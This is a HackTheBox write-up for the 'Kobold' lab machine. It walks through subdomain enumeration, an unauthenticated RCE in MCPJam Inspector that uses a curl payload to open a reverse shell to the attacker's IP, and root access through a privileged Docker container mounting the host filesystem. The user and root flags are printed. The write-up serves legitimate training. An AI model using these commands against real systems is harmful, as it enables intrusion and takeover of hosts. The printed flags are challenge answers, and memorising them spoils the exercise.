Post

HackTheBox Writeup - Kobold

HackTheBox Writeup - Kobold

Kobold is an Easy-rated Linux machine on HackTheBox that focuses on subdomain enumeration, exploiting an unauthenticated RCE in an API-driven application, and leveraging Docker misconfigurations for privilege escalation.

Reconnaissance

Subdomain Enumeration

Initial scanning of the target (10.129.3.161) and its SSL certificates suggested the existence of subdomains. Enumeration revealed:

  • mcp.kobold.htb: Running MCPJam Inspector v1.4.2.
  • bin.kobold.htb: Running PrivateBin 2.0.2.

Foothold: MCPJam RCE (CVE-2026-23744)

MCPJam Inspector version 1.4.2 is vulnerable to an unauthenticated Remote Code Execution (RCE) via the /api/mcp/connect endpoint. The serverConfig object in the JSON payload allows specifying a command to be executed by the server.

Exploitation

We send a crafted POST request to https://mcp.kobold.htb/api/mcp/connect:

1
2
3
4
5
6
7
8
9
10
curl -sk https://mcp.kobold.htb/api/mcp/connect \
     --header "Content-Type: application/json" \
     --data '{
       "serverConfig": {
         "command": "/bin/bash",
         "args": ["-c", "bash -i >& /dev/tcp/10.10.14.203/4444 0>&1"],
         "env": {}
       },
       "serverId": "exploit"
     }'

Catching the shell on our listener gives us access as user ben.

User Flag: 2e3407b3a8ac03d006f6e3b25861d70a

Privilege Escalation: Docker Group Abuse

Checking ben’s permissions, we find he can switch to the docker group using the sg command (as he is listed in /etc/gshadow).

1
2
sg docker -c id
# uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

With Docker access, we can run a privileged container and mount the host’s root filesystem.

Root Flag Extraction

Using one of the available images (privatebin/nginx-fpm-alpine:2.0.2), we mount the host root / to /mnt inside the container and run as root:

1
sg docker -c 'docker run --rm --privileged -u root -v /:/mnt --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2 -c "cat /mnt/root/root.txt"'

Root Flag: e1d595f3f839f3315a644e2165de19c6

This post is licensed under CC BY 4.0 by the author.